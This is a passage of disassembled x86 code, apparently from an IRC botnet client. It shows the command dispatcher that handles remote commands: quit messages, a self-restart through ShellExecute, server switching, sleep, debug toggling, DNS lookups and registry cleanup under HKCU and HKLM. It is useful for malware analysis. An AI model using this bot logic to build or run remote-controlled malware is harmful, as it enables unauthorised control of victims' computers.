jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF48 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41EC40 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EB2C push offset dword_41EC40 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF48 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EB2C push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DAB4 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE30 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 push offset dword_41DAB4 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE30 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE38, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE38, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE38, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE8C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- 